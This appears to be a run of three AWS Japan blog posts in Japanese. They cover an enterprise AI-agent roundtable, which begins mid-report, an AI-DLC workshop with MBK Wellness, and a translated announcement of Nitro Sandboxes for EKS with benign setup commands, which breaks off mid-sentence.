エージェントを事業で使うには、基幹業務に組み込み、部門ごとに分かれたデータをつなぎ、エージェントに適切な権限を与えることが要点であり、AWS が多くのお客様を支援する中で「統制とセキュリティ」「自社の知識（データとコンテキスト）」「品質とコスト」の 3 つが壁になっていると述べました。後半では鯨田が、AI モデル以外のエージェントの構成要素（Agent Harness）に求められる機能をビルディングブロックとして提供する Amazon Bedrock AgentCore について、前述の 3 つの観点で紹介しました。具体的には、利用者ごとの認証・認可、社内のエージェントと MCP サーバーの統制・管理、MCP を介した社内システム・文書への接続、エージェントの回答品質の評価・改善、レート制限による利用量の制御などを解説しました。 ▲ アマゾン ウェブ サービス ジャパン合同会社 鯨田 連也、石坂 唯 質疑応答では、エージェントが参照するナレッジベースへ利用者の権限をどう引き継ぐか、単一のエージェントが多くのタスクを担う方向と複数のエージェントが連携する方向のどちらに進むのか、という質問をいただきました。前者について登壇者は、AgentCore Gateway のインターセプターで利用者を識別する情報をナレッジベースに渡し、その利用者に許可された文書だけを検索させる方法を紹介しました。この方法は、登壇者が公開している記事「 Bedrock Managed Knowledge Base を MCP Tool として利用する際のテナント分離・アクセス制御まとめ 」で詳しく解説しています。 「ここだけの話」はどうつながったのか？ 各社の発表では、資料には書きにくい失敗や未解決の課題が率直に語られ、質疑応答では「うちも同じところで困っている」「こう割り切った」というやり取りが続き、質問が尽きずに時間で区切ったセッションもありました。ここでは、各社の発表と質疑応答から、複数の企業に共通していた点を 3 つの観点でまとめます。個々の企業の取り組みが分かる書き方は避け、複数の企業に共通していた傾向として書いています。 共通して効果があったこと 共通部品は基盤側で持ち、業務ごとの差分だけを各部門が作る。 認証・認可、ログ、ガードレール、評価の仕組みを基盤として提供し、各部門は業務ごとのワークフローやナレッジだけを作る分担にすると、エージェントが増えても運用の負荷が増えにくいという考え方が、複数の企業の基盤設計で共通していました。 使う人とユースケースを先に決めてから、基盤の要件を固める。 利用部門へのヒアリングで要件を確定し、少人数で範囲を絞って動くものを早く出し、使ってもらいながら直す進め方が「結果的に早かった」と複数の企業から報告されました。 RAG で止まっていた問い合わせが、エージェントで解けるようになった。 文書検索だけでは答えられなかった社内システムの照会や、複数の情報源を組み合わせる質問に、エージェントが検索をやり直したりツールを呼び出したりして答えられるようになった事例が複数ありました。 定着には、利用者が必ず通る導線と、体験の場が効く。 人に問い合わせる前にチャットボットを通す導線を作って自己解決を促す、開発者が自分の担当業務を題材に手を動かすワークショップを開く、社内で活用している人を表彰して見せる。こうした定着の工夫が、それぞれ別の企業から共有されました。 率直に語られた、難しかったこと 権限を検索条件で表現すると、権限が増えるほど検索が難しくなる。 社内文書を検索する RAG では、利用者が閲覧できる文書だけを検索の対象にするために、閲覧権限を検索の絞り込み条件（メタデータのフィルタ）として渡す方式がよく使われます。閲覧できる文書の範囲が広い利用者ほど絞り込み条件が長くなり、検索の回数や処理時間が増えるため、権限の持ち方と検索の設計を合わせて考える必要があるという指摘がありました。アンケートでも認証・認可の設計を最も大きな課題に挙げた参加者が最も多く、質疑でも権限の管理の仕方が繰り返し話題になりました。 最初から全部を生成 AI に任せると、結果が揺らぐ。 定型の事務作業を自動化するとき、処理の組み立てから実行までを生成 AI に任せると出力が揺らぎやすいため、固定できる手順はあらかじめ決めておき、生成 AI には部品の組み合わせや判断が必要な部分だけを任せる形に見直したという経験が共有されました。問い合わせ対応の自動化では、回答の精度より、届いた依頼を AI で答えられる問い合わせと人に引き継ぐべき案件に仕分ける判断の設計が難しいという指摘もありました。 ガードレールと評価の調整に時間がかかる。 不正な利用を防ぐ設定を強くしすぎると、製品の使い方を尋ねる通常の質問まで止めてしまう。新しいモデルに切り替える前に、回答の品質を人が確かめる作業に時間がかかる。回答の精度を上げるために検索と生成を繰り返すと、応答時間と利用料が増える。こうした調整の難しさは、複数の企業に共通していました。 参加企業に共通する、これからの課題 認証・認可と人の関与をどう設計するか。 利用者本人の権限をエージェントとナレッジベースまで引き継ぐこと、書き込みを伴う操作をどこまで許すか、人の承認をどの操作に組み込むか。全社の ID 基盤を管理する部門との調整も含めて、複数の企業がこれからの設計課題として挙げていました。 品質・コスト・成果をどう測るか。 評価データの量と評価者の確保、LLM による評価と人手の評価の分担、利用量とコストの制御、削減時間などの成果を算出して経営に説明する方法。エージェントの価値をどう定量的に説明するかという問いは、複数の企業に共通していました。 データの準備と統制のバランスをどう取るか。 データの準備にかかる時間をどう見込むか、非構造化データのオーナーをどう決めるか、市民開発で生まれるエージェントと CoE の統制をどう両立させるか。AWS のマネージドサービスは機能の追加が速く、自前で作った機能が後からサービスとして提供されることもあるため、基盤はできるだけマネージドサービスで構成して自前で保守する範囲を小さくするという方針も語られました。どれも 1 社では答えが出ない論点として、懇親会まで議論が続きました。 ▲ 参加者の皆様との集合写真 アンケート結果と参加者の声 参加者 20 名全員からアンケートの回答をいただきました。全体の満足度は 5 段階で平均 4.85、各社の発表をめぐる意見交換の満足度は平均 4.9 でした。「他社の取り組みで参考になった発表」というアンケート項目では、1 人あたり平均 3.7 社が選ばれ、7 社すべての発表が複数の参加者から選ばれました。 他社の発表を聞いて、自社の方針を決める参考になったという声が多くありました。 「エージェント導入の前段階のプロセスに各社いろいろなアプローチがあり、感銘を受けた」 「基盤の持ち方や基盤のあるべき形など、今後の方針を決めるうえで大変参考になった」 「各社の実際の課題と、それに対応するアーキテクチャの関係で理解できた」 「エージェント開発の課題と、その乗り越え方や付き合い方が勉強になった」 「各社ともプラットフォームづくりで同じ課題を抱えていることが分かった。孤独な戦いのように感じていたが、勇気をもらえた」 「製造業ではアプローチが違っても似たような悩みがあると分かった。別の業界の話も聞きたくなった」 「いま自社の生成 AI 活用で最も課題に感じていること」というアンケート項目では、認証・認可の設計と、人材と組織の変化がそれぞれ 20 名中 5 名で最も多く、ガバナンス（4 名）が続き、データの整備、コストと投資対効果の説明も複数の方が挙げました。ほかに、エージェント基盤を自社で持つ範囲の見極め、業務での実践先の見つけ方、先進性と全社展開のバランスが挙がっています。 AWS への期待としては、新しいサービスや機能の情報を早めに共有すること、データの源泉から RAG、AI エージェントまで一気通貫で認可を扱える機能、各社の知見を共有する場を続けることが挙がりました。 おわりに 今回のラウンドテーブルを通じて改めて感じたのは、お客様だからこそ答えられるお客様の悩みがあるということです。「この判断をどう割り切ったか」「社内のどこから手を付けたか」という実践知が企業間の対話で共有され、参加各社が次に取り組む判断の材料になっていました。 アンケートには「これだけの企業が同じ悩みを抱えているのに、なぜベストプラクティスが整備されないのか」という率直な問いもありました。認証・認可やガバナンスの設計は、サービスの機能だけでは決まらず、各社の組織とデータの状況に合わせた判断が必要です。その判断の材料を各社が持ち寄り、繰り返し使える形にしていくために、AWS では今後もこうした企業間の対話の場を企画してまいります。 ご参加いただいた皆様に、改めて御礼申し上げます。生成 AI や AI エージェントの活用でお悩みの方は、ぜひ担当のソリューションアーキテクトにご相談ください。 このブログは AWS Japan のソリューションアーキテクト 西田 光彦 が執筆しました。 西田 光彦は、エンタープライズのお客様をご支援しているソリューションアーキテクトです。自動車・製造業を専門領域とし、Generative AI/Physical AI など最新テクノロジーを活用してお客様の組織と業務変革のお手伝いしています。 Kiro と 信頼できる同僚達 に支えられながら仕事しています。

こんにちは。AWS ソリューションアーキテクトの崔 祐碩（Woosuk Choi）です。AI 開発を進めている多くのお客様から「開発を加速したい」というご相談をいただいています。お客様と議論を重ねるたびに、本当のボトルネックは開発そのものではなく、意思決定をめぐるプロセスと組織ではないか、と感じることが増えてきました。本ブログでは、2026年7月29日に MBK Wellness 株式会社と実施した AI-DLC ワークショップを題材に、私たちがこの仮説をどう確かめ、どんな答えが返ってきたのかをご紹介します。 MBK Wellness 株式会社について MBK Wellness 株式会社は、三井物産グループのウェルネス企業です。1946年に創業した保健同人社をルーツに持ち、2025年8月にグループ4社が合併して現在の体制となり、健康経営支援・EAP（従業員支援プログラム）、企業研修・人材育成、人材紹介という、人的資本に関わる3つの事業を1社で展開しています。 新しいサービスを立ち上げたいという意欲はきわめて高く、その一方で、性格の異なる3つの事業本部が並ぶ構造となったことで、部門をまたぐ調整に時間がかかるという、統合企業ならではの悩みも抱えていらっしゃいました。 ワークショップのきっかけは、社長付の古屋 和樹氏からいただいた「開発と組織を、AI で Empower したい」というご相談でした。特定の AI ツールを導入したい、というお話ではなく、開発の進め方そのものと、それを取り巻く組織のあり方を、あわせて変えていきたい。そういうご相談でした。 では、何から手をつけるのがよいか。議論を重ね、経営層の役員とビジネス側のリーダーを交えて実際に体験していただくほうが早い、という結論に至りました。こうして実施したのが、AI-DLC（AI-Driven Development Lifecycle）を1日で体験するワークショップです。 なぜ、経営層に加わっていただいたのか ご相談が「開発」だけでなく「組織」も含んでいたことが、この設計の理由です。開発チームだけを速くしても、プロダクトやサービスの開発はなかなか速くなりません。理由は技術の外側、つまり部署をまたぐ意思決定の側にあります。開発チームだけではサービスの仕様やビジネスへのインパクトを判断できず、待つしかないのです。AI によって開発のアウトプットが速くなっても、既存のワークスタイルのままでは全体は速くなりません。組織間の連携プロセスを改革し、AI 開発に合ったワークスタイルへ変えていく。ここに経営層が向き合っていただかなければ、この課題は解けません。 これは私たちだけの考えではありません。AWS の AI-Driven Development Lifecycle for Financial Services でも、AI-DLC 導入の第1フェーズを Executive Alignment と位置づけ、「 Without executive sponsorship, transformation stalls at the pilot stage （経営層の後押しがなければ、変革は試行段階で止まる）」と述べています。 AI-DLC とは何か ― AI が進め、人が決める AI-DLC は、AI を前提にソフトウェア開発のライフサイクルを組み直す方法論です。全体は Inception（意図の詳細化と計画）、Construction（設計・実装・テスト）、Operation（デプロイと運用）という3つのフェーズで構成され、各ステージの成果物がそのまま次のステージの入力になっていきます。 図1: AI-DLC の3フェーズ。Inception・Construction・Operation の各ステージが、次のステージのためにより豊かなコンテキストを積み上げていく そして、この流れを回すうえでのポイントが役割分担です。プランニング、タスク分解、アーキテクチャの提案といった実行は AI が担い、検証・意思決定・監督の最終責任は人間が持ち続けます。AI にすべてを任せるのでも、コーディングだけを AI に切り出すのでもありません。 もうひとつの特徴が、Mob Elaboration と Mob Construction という進め方です。要件の詳細化も実装も、関係者が同じ場に集まって AI の出力をその場でレビューし、その場で決めていきます。集まるのは開発者だけではなく、ビジネスのステークホルダーも含まれます。経営や事業部門の方に加わっていただく設計は、この方法論とよく合っていました。実装には Claude Code と、AWS が OSS として公開している awslabs/aidlc-workflows （当日は v1.0.1）を使いました。aidlc-workflows は、Claude Code のほかにも、AWS の Kiro などさまざまなコーディングエージェントで使えます。 そして、ワークショップの冒頭で私たちからお伝えしたのが、このメッセージです。 図2: 本ワークショップの中核メッセージ AI を使えば、開発のアウトプットは速くできます。けれども、開発チームの外との意思決定が速くならなければ、スピードはそこで頭打ちになってしまいます。本丸はツールの導入ではなく、組織全体の意思決定のスピードと、そのカルチャーをどう変えていくか。これが、私たちがこの日いちばんお伝えしたかったことでした。 1日で何が起きたか MBK Wellness からは、役員4名を含め、開発と各事業部門のステークホルダー22名にご参加いただきました。AWS からは3名が入っています。この22名を4つのグループに分け、それぞれに役員1名と、エンジニア・非エンジニアの双方が混在する形にしました。PC を操作するドライバーは開発部のメンバーが務め、事業部門の方と役員がその画面を一緒に見ながら議論しました。 ワークショップの様子。各テーブルでドライバーが AI とやりとりし、その画面を全員で見ながらレビューしていく 1日という限られた時間を有効に使うため、体験は Inception にフォーカスしました。プロンプトを投げ、AI が返してきた要件定義を組でレビューし、足りないところを指摘して書き直させる。この往復を役員の方に目の前で見ていただく、というのがねらいです。 題材選びも、より実感を持っていただくために、練習用のサンプル課題ではなく 各チームが現在検討している実案件 を持ち込んでいただきました。結果として、4チームがそれぞれ自分たちの事業領域のテーマを扱うことになりました。 A チーム : 健康相談サービスの相談体験の改善。蓄積された Q&A は毎日更新されているのに、利用者から質問を投稿する導線が存在せず、受け身のまま読み終わっている、という課題 B チーム : 人材紹介における候補者マッチング。応募者が自分の経歴を入力すると、AI が「職能」を読み取り、業種・職種を越えて求人と担当コンサルタントを提案する C チーム : 新人向けの社員研修システム D チーム : 管理職向けの育成支援。現場で残したメモから、部下への関わり方の変化を可視化する 午後はその先へ進み、Inception で作ったドキュメントをそのまま入力に使い、モックアップを作るところまで「AIが進め、人が決める」を続けていただきました。最後には各チームが構想するサービスのコンセプトと意図が伝わるモックアップが動く状態になり、そのまま発表とデモを行いました。 各チームの発表。モックアップが完成し、実物を確認しながら開発を進めたことで、事業部門の参加者の理解が深まった 「AIが進め、人が決める」が実際に起きた瞬間 1日という短い時間ではありましたが、各チームは想像以上に進みました。ここで素晴らしい成果を紹介させてください。A チームは要件定義からモック実装までを1日で終えました。 ただ、いちばん印象に残ったのは、進んだ作業量ではありません。このチームで起きた方針転換です。 実装を検討する段階で、連携先の API が読み取り専用であることが判明しました。つまり、利用者に質問を書いてもらっても、それを保存する先がない。企画の土台にあった「投稿してもらう」という前提が、そこで消えたわけです。 ここでチームが出した判断が見事でした。企画の方向性はそのままにして、手段だけを変えたのです。「書いて投稿してもらう」のをやめ、AI チャットが対話で相談内容を聞き取り、すでに蓄積されている回答から近いものを探して示す。それでも解決しなければ既存のサービスにつなぐ、という仕様に組み替えました。 ビジネス上の意思決定がその場で行われ、素早い方向転換につながったわけです。要件は AI が差分改訂にとどめ、ユーザーストーリー以降を再実行してくれるので、変更後の姿をその場で確認しながら判断できました。報告資料には、こう書かれていました。 手戻りが、手順として用意されている ― API の制約で方針転換が必要になったとき、要件を差分改訂してストーリー以降を再実行、という道筋が示されました。巻き戻しが例外扱いされていません。 AI が計画と実装を進め、前提が崩れたときには人間が「何のためのサービスか」を守って手段を選び直す。私たちが朝にお伝えした「AIが進め、人が決める」が、その日の午後に実際の出来事として起きていました。 手応えは、翌日届いた一通のメールに表れていた ワークショップの翌日、代表取締役社長の森田 剛至氏から一通の返信をいただきました。 私自身は午前中だけの参加でしたが、目から鱗が何枚も落ちている自分に気付き、曇っていた視界が急に明るくなった気持ちでした。様々な気付きを頂いたと思っております。 — MBK Wellness 株式会社 代表取締役社長 森田 剛至氏 午前の参加だけで、経営トップの見方が変わった。役員に各グループへ加わっていただいた理由は、この一通に集約されていると思います。当日も、役員の方からこんなコメントをいただいていました。 よい体験。AI の成果物には感心した。これからの変化を実感。AI 導入のためには、組織・プロセス・カルチャーの多方面での変更が必須。 — ご参加いただいた役員の方のコメント 手応えは、経営層だけのものではありませんでした。事業側の参加者からは、次のコメントをいただいています。 開発とやりとりしながら作れ、AI による成果物がすぐ確認できてイメージしやすかった。 すぐ作れるので、あまり遠慮しなくなった （今までは、頼むこと自体を躊躇するケースが多かった）。 — 事業部門の参加者コメント 開発の速さというより、 依頼のコスト が下がったという話だと受け止めています。「作ってほしい」とお願いすること自体の心理的な重さが、本来生まれるはずのアイデアを社内で止めていた。目の前ですぐ形になる様子を見て、その重さが下がったわけです。 そして開発側では、先ほど引用した報告資料に、この日の学びとして次の3点が挙げられていました。 決めるべきことが、先に出てくる ― AI は曖昧なまま進まず、選択式で問いを投げてきます。「何を作らないか」を最初に決めきれたのは、この問いのおかげでした。 成果物が、そのまま次の入力になる ― ストーリーの受け入れ基準項目が、そのままテストの合格条件になりました。文書が捨てられません。 人間の仕事は、承認と判断に寄る ― コードを書く時間より、提示された選択肢を判断する時間のほうが長い。判断の質がそのまま成果物の質になります。 — 成果報告資料より 見えてきたボトルネックは、技術ではなく意思決定だった アンケートでは「AI-DLC を社内で活用するために解決すべき課題」も自由記述で伺いました。すると、 回答の多くが同じ方向の問題意識 を挙げてきました。 組織・意思決定・権限 にかかわる課題です。一方で、 技術的な課題の指摘は1件もありませんでした 。「ツールが使いにくい」「環境構築が大変」といった声が、ひとつも出てこなかったのです。もっとも、開発環境は古屋氏が事前に検証を済ませており、範囲もモックアップまででした。技術面のつまずきが表に出にくい条件だったのは確かです。 何度も話にも出てましたが、 意思決定できる人を確保することができないとスピーディーさの恩恵は受けれない のかなと思うので、AI-DLC を活用するためにはまずそこがクリアになるようなスケジュール調整やメンバー構成が必要になると思いました。 組織設計からの見直しが必要。 — 参加者アンケートの自由記述より クロージングのディスカッションでも、参加者からこんな趣旨の言葉が出てきました。 短時間であっても、異なる部門が集まって要件を議論することで、出来上がるサービスの質が高まる。 AI 駆動開発の時代においては、人間がいかに評価し、判断するかの仕組みを考えることが重要である 。 — クロージングでの参加者の発言 朝いちばんに私たちからお伝えしたことが、1日を経て、参加者ご自身の言葉になって返ってきた。このワークショップの到達点は、ここだったように思います。 では、その「評価し、判断する仕組み」は、実務のどこで詰まるのか。当日のディスカッションでは、その構造にまで踏み込みました。参加者の実感といちばん重なったのが、開発で起きる部署間のやり取りでした。例えば、ロケーションデータを地図に連携したいという1つの変更でも、図3の例のように、セキュリティ、データガバナンス、法務・コンプライアンスへと確認が順に連鎖していきます。 図3: 開発中の変更をめぐる部署間のやり取りの例。逐次・連鎖型の波及では、並列に相談できれば最長1部署分で済む待ちが、部署数ぶんの足し算になる 実務では、仕様変更や突発的な追加・確認が次々と発生し、影響範囲が最初から見えているとは限りません。かといって、すべての関係者とその領域の意思決定者を毎回巻き込んでプロジェクトを進めるのも現実的ではありません。必要なのは、関係や依存が判明したタイミングで、素早くコンテキストを確認して意思決定できる柔軟な組織体制です。 次の一歩と、AWS への期待 その柔軟な組織体制を、MBK Wellness は実際に作りにいくことを決めました。ワークショップの後、組織そのものを見直す方向で議論が始まり、森田氏の判断のもと、下期に向けた検討が動き出しています。テーマは 意思決定権限の委譲と組織のフラット化、そしてプロジェクトベースの運用 です。「決められる人」と「作るもの」をどう設計していくか、という問いに向き合っています。 具体的な論点は3つに整理されています。この体制で必要になる人材像はどのようなものか。開発のポジションを組織のどこに置くか。そして、この変更を社員にどう伝えるか。技術の話ではなく、組織と人の設計の話です。 先ほどの森田氏のメールには、もうひとつ、こう書き添えられていました。「引き続き古屋を窓口に色々とご指南頂ければ」。窓口を明確にしたうえで、継続してご一緒したいというお言葉です。私たちにとって、これ以上のものはありません。 AWS からは、開発プロセスに関するさまざまなナレッジを共有しつつ、実際の開発を MBK Wellness の新しい開発体制に合わせて進めていきます。AI-DLC の効果を最大限に発揮していただけるよう、技術とカルチャーの両面から支援を強化していく予定です。 ワークショップ終了後の MBK Wellness の皆様と AWS チーム 著者 古屋 和樹（Kazuki Furuya） MBK Wellness 株式会社 社長付 デジタル事業管掌。全社のデジタル戦略を統括。今回の AI-DLC ワークショップでは、企画から社内調整、開発環境の事前検証までを主導。 崔 祐碩（Woosuk Choi） AWS Japan Senior Analytics Solutions Architect として、データ分析基盤やプライベートクラウドの構築、DevOps/SRE の運用経験を活かして、クラウド導入や Data/AI ソリューションの実装を支援しています。

本ブログは 2026 年 11 月 9 日に公開された AWS Blog “ AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS ” を翻訳したものです。 エージェンティック AI、マルチテナント SaaS、規制対象のワークロードを、専用の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスと同等の分離と、Kubernetes ポッドのシンプルさを両立した環境で実行できます。Nitro Sandboxes は、EC2 インスタンス同士を分離しているのと同じ Nitro System を基盤として、各ポッドにハードウェアで強制されるセキュリティ境界を提供します。 課題: 今なぜ分離が重要なのか Kubernetes のコンテナはホストのオペレーティングシステムを共有します。そのおかげでコンテナは高速かつ軽量ですが、1 つのコンテナに脆弱性があると、同じマシン上の他のすべてのコンテナが侵害されるおそれもあります。一般的な回避策は、機密性の高いワークロードごとに専用のマシンを割り当てることです。この方法は有効ですが、コストがかかります。マシンの大部分がアイドル状態となり、無駄になるインフラストラクチャの費用を払ってセキュリティを確保することになるためです。 いくつかのトレンドにより、この回避策は限界を迎えつつあります。 AI エージェントが自らコードを記述して実行する : 実行前に人間がそのコードをレビューすることはありません。信頼できないコードがコンテナを抜け出せば、たった 1 つの悪意のあるプロンプトがホスト上でのラテラルムーブメント (横方向の侵害拡大) にまで発展し、シークレットの読み取りやコンテナイメージの汚染を許すおそれがあります。 SaaS プラットフォームが共有クラスター上で数百の顧客を抱える : 顧客ごとに Amazon EC2 インスタンス全体を専有させるのは、コスト面で現実的ではありません。独立系ソフトウェアベンダー (ISV) には、ある顧客が別の顧客のデータにアクセスしたり、リソースを枯渇させたりすることを防ぎながら、インフラストラクチャを安全に共有する方法が必要です。 規制業界では約束ではなく証明が求められる : HIPAA の対象となる医療機関、PCI DSS や SOX の規制を受ける金融機関、FedRAMP に準拠する必要がある政府機関では、ワークロードが改ざんされずに実行されたことを示す暗号学的な証拠がますます求められています。これらのフレームワークへの準拠状況を評価する監査人も、今では構成チェックリストではなく暗号学的な構成証明を求めるようになっています。 CI/CD とコンテナビルドが昇格された権限で実行される : こうした権限によりホストへの広範なアクセスが可能になるため、リスクを封じ込めるには専用のマシンが必要です。 これらの回避策はいずれも、共有カーネルにパッチを適用し続けることと、ワークロードを分離するためにインフラストラクチャへの支出を増やすことに依存しています。より良いアプローチは、あるワークロードで生じたカーネルの問題が、そもそも別のワークロードに及ばないアーキテクチャです。これなら、効率と分離をトレードオフにする必要はありません。自律型 AI エージェントは今や、機械ならではの速度で探索と適応を繰り返し、エクスプロイトを連鎖させます。その結果、共有カーネルのあらゆる弱点が、人間のチームではパッチ適用が追いつかないアタックサーフェスになっています。効率と安全性のトレードオフが、もはや不要になるとしたらどうでしょうか？ 今回の発表内容 本日 (2026 年 11 月 9 日)、 Amazon Elastic Kubernetes Service (Amazon EKS) 向けの AWS Nitro Sandboxes の提供を開始しました。これにより、ポッドで初めて強力なセキュリティ分離を実現できるようになります。 サンドボックス化されたポッドは、それぞれ専用の軽量仮想マシン (VM) 内で実行されます。この VM を支えているのは、すべての EC2 インスタンスを互いに分離しているのと同じ AWS Nitro System です。各ポッドは独自のオペレーティングシステムを持ち、ホストからも隣接するすべてのポッドからも完全に分離されます。ポッド内で問題が発生しても、システムコールがゲストカーネルの外部に及ぶことはありません。強力な分離が必要なワークロードは、それぞれに専用のマシンを用意しなくても、ハードウェア境界による保護を受けられるようになりました。 EKS Auto Mode では、ポッド仕様 (pod spec) を 1 行変更するだけで Nitro Sandboxes を有効にできます。コンテナイメージ、デプロイパイプライン、Helm チャートを変更する必要はありません。ポッドは引き続き、同じ AWS Identity and Access Management (IAM) の認証情報 ( Amazon EKS Pod Identity )、同じストレージ ( Amazon Elastic Block Store と Amazon Elastic File System )、同じモニタリング ( Amazon CloudWatch )、同じネットワーキング (VPC CNI)、同じセキュリティツールを使用できます。 kubectl exec 、 kubectl logs 、 kubectl port-forward もこれまでとまったく同じように動作します。標準の EKS を使用する場合の Nitro Sandboxes 用 AMI の構築方法は、ユーザーガイドで説明しています。 各サンドボックスは完全なオペレーティングシステムカーネルを実行するため、アプリケーションは標準のコンテナと同じように動作します。AWS Nitro Sandboxes は、Kubernetes のすべての適合性テスト (conformance test) に合格しています。 1 行追加するだけで、ポッドにハードウェアのセキュリティ境界が適用されます。それ以外はすべて、これまでとまったく同じように動作します。 仕組み Nitro Sandboxes は、ポッドの分離の強さと、ノードを共有する際のパフォーマンスの予測可能性という 2 つの点を同時に変えます。 セキュリティと効率のどちらかを選ぶ必要はもうありません これまで強力な分離を実現するには、1 台のマシンに 1 つのワークロードしか配置できませんでした。Nitro Sandboxes を使用すると、それぞれが独自の VM 境界を持つ多数の分離されたポッドを、1 つのノードに集約できます。ポッドを集約すると、もう 1 つの疑問が生じます。1 つのポッドが隣接するポッドのパフォーマンスを低下させることはないのでしょうか？各サンドボックスは独自に割り当てられた CPU とメモリのスライスで実行され、Nitro Hypervisor がそのスライスの境界をハードウェアレベルで強制します。そのため、EC2 ホストも隣接するポッドも、そのメモリや CPU の状態を読み取ることはできません。ネットワーク帯域幅、ディスク I/O、DNS クエリ、ログ出力、接続追跡 (conntrack) エントリなど、ポッドどうしがノード上で引き続き共有するリソースは、設定可能なスロットリングによってデフォルトで保護されています。暴走したエージェント、負荷の高いビルドジョブ、リソースを大量に消費するテナントは、隣接するポッドに影響を及ぼす前に、それぞれの上限に達して制限されます。AWS Nitro Sandboxes ではこれらの保護がデフォルトで有効になっているため、ノードごとにチューニングしなくても予測可能なパフォーマンスが得られます。 2 つのモード 分離モード (Isolated mode) は、各ポッドを専用の VM に配置します。コンテナ内で何が起きても、ホストと隣接するポッドを保護することが目的です。 機密モード (Confidential mode) はさらに踏み込み、マシンのオペレーターさえも信頼できない存在として扱います。暗号学的な構成証明により、サンドボックス内で実行されているコードが何であるかを正確に証明します。また、AWS Key Management Service (AWS KMS) は、システムイメージと設定済みの Cedar ポリシーを証明する構成証明ドキュメントが提示された場合にのみ復号を許可します。この設計により、クラスター管理者であってもポッドのメモリを読み取ることはできません。SaaS プロバイダーはテナントのデータがハードウェアで保護されていることを顧客に証明でき、規制業界の組織はドキュメントの代わりに暗号学的な証拠を監査人に提示できます。 ポッド起動時の動作。 Nitro System は、すべての EC2 インスタンスを実行するハードウェアおよびハイパーバイザーです。インスタンス間の分離とホストからの分離を、ユーザー自身が設定する必要のあるソフトウェアではなく、専用のハードウェアで実現します。Nitro Sandboxes は EC2 の新機能を基盤としています。この機能により、Nitro Hypervisor は実行中のインスタンスから、ハードウェアで分離された CPU とメモリのスライスを切り出せます。Amazon EKS はそのスライスを使用して、サンドボックス化された各ポッドに専用の軽量 VM を提供します。ポッドの視点から見ると、処理はわずかなステップで進みます。 スケジューラが通常どおりポッドを配置します。 RuntimeClass がノードセレクターと toleration を保持しているため、Auto Mode では、仕様に追加のフィールドを記述しなくても、ポッドはサンドボックス対応のノードに配置されます。 Amazon EKS がポッド用の軽量 VM を起動します。 ノードのカーネル上でコンテナを起動する代わりに、コンテナランタイムが EC2 に Nitro Partition を要求し、その中で VM を起動します。これ以降は、Nitro Hypervisor が CPU とメモリの境界をハードウェアで強制します。ノードから VM の内部は見えず、VM からもノードや隣接するポッドは見えません。 コンテナはそのままの状態で VM 内で起動します。 ゲスト内コンポーネントがポッド仕様とその Cedar ポリシーを受け取り、これから実行する内容がポリシーで許可されているかを確認したうえで、イメージをプルし、標準のコンテナランタイムでコンテナを起動します。イメージ、エントリポイント、環境は一切変わりません。 Kubernetes からは通常のポッドに見えます。 ログ、exec、port-forward、プローブ、メトリクスは内部の制御チャネルを通じて kubelet に返されます。また、Pod Identity の認証情報、CSI ボリューム、 Amazon Virtual Private Cloud (Amazon VPC) のネットワーキングは、通常のポッドと同じ方法で VM 内に提供されます。 機密モードでは、この流れに構成証明が加わります。 Nitro Security Module はサンドボックス内で起動したものを測定し、ワークロードが AWS KMS に提示する構成証明ドキュメントに署名します。これにより、シークレットは想定どおりのイメージとポリシーを実行しているサンドボックスにのみ渡されます。具体的な仕組みは、本記事に続く詳細解説記事で取り上げます。 図 1: 分離境界。サンドボックス化されたポッドは、Nitro Partition 内の軽量 VM で実行されます。ノードの kubelet からは、引き続き通常のポッドとして認識されます。 開始方法 最も手早い方法は EKS Auto Mode を使用することです。EKS Auto Mode では、アドオンをインストールしなくてもすべてのクラスターにランタイムクラスが用意されており、Auto Mode がサンドボックス対応のノードをオンデマンドでプロビジョニングします。独自のノードグループや Karpenter を使用して標準の EKS を実行している場合も、ノードでサンドボックス対応の AMI を実行すれば、同じポッド仕様がそのまま機能します。Nitro Sandboxes 用の AMI の構築手順は、ユーザーガイドで説明しています。 ステップ 1: Auto Mode クラスターを作成します。 どの Auto Mode クラスターでも使用できます。 eksctl を使用するのが最も簡単です。Nitro Sandboxes には Kubernetes バージョン 1.36 以降が必要なため、 --version を指定します。 eksctl create cluster --name sandbox-demo --region us-west-2 --version 1.37 --enable-auto-mode ステップ 2: ランタイムクラスが存在することを確認します。 インストール作業は不要です。両方のクラスがクラスターに標準で含まれています。 $ kubectl get runtimeclass NAME HANDLER AGE confidential-sandbox confidential-sandbox 5m isolated-sandbox isolated-sandbox 5m ステップ 3: サンドボックス化されたポッドを初めて実行します。 オプトインに必要なのは runtimeClassName: isolated-sandbox の 1 行だけです。ノードセレクターも toleration もサイドカーも不要です。スケジューリングの制約は RuntimeClass が保持しており、利用可能なサンドボックス対応のノードがない場合は、Auto Mode がそのようなノードを起動します。 apiVersion: v1 kind: Pod metadata: name: hello-sandbox spec: runtimeClassName: isolated-sandbox # <-- the only change containers: - name: hello image: public.ecr.aws/amazonlinux/amazonlinux:2023 command: ["sh", "-c"] args: - | echo "/sys/class/dmi/id/product_name: $(cat /sys/class/dmi/id/product_name )" echo "disks: $(ls /sys/block | tr '\n' ' ')" sleep infinity ポッドマニフェストを記述した hello-sandbox.yaml という名前のファイルを作成し、次のコマンドを実行します。 $ kubectl apply -f hello-sandbox.yaml $ kubectl wait pod/hello-sandbox --for=condition=Ready --timeout=300s $ kubectl logs hello-sandbox ポッド自身のログから、ポッドが VM 内に配置されたことを確認できます。出力には 8i.enclave と表示されます。 .enclave サフィックスは、コンテナが AWS Nitro Sandbox 内で実行されていることを示しています。また、ゲスト VM からは vda 、 vdb 、 vdc という名前の virtio ブロックデバイスが見えます。一方、同じノード上の通常のポッドからは、インスタンスのディスク ( nvme0n1 nvme1n1 zram0 ) が見えます。 AWS Nitro Sandboxes を有効にするには、ポッドのフィールドを 1 つ設定するだけです。 isolated-sandbox を confidential-sandbox に変更すると、同じポッドが、ノードを信頼できないものとして扱うモードで実行されます (その場合は Cedar ポリシーと AWS KMS の構成証明条件を使用します。詳細はユーザーガイドを参照してください)。 sandbox.amazonaws.com/network-isolated: "true" アノテーションを追加すると、VM はループバック以外のネットワークを持たない状態で起動します。他のインターフェイスにはアドレスが割り当てられず、外部へのルートも存在しません。 実際のワークロード: なぜ重要なのか 前述の「hello world」では、分離境界が存在することを確認しました。この例では、それがなぜ重要なのかを示します。ここでは、実際の AI コーディングエージェントを実行します。このエージェントは GitHub の issue を読み、修正を記述し、テストを実行して、プルリクエストを作成します。これらはすべて Nitro Sandbox 内で行われるため、エージェントが何をしても、その影響範囲 (blast radius) 